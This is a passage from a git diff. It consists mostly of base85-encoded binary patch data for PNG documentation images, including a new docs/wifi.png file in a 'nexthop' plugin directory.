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 Xa@4J5H~u9GpbcYv3q694N7DZQY#V(< literal 0 HcmV?d00001 diff --git a/plugins/io.github.x3me.nexthop/docs/wifi.png b/plugins/io.github.x3me.nexthop/docs/wifi.png new file mode 100644 index 0000000000000000000000000000000000000000..2dd45043f900798376ded553eedd6d07ba3b2dc6 GIT binary patch literal 160872 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 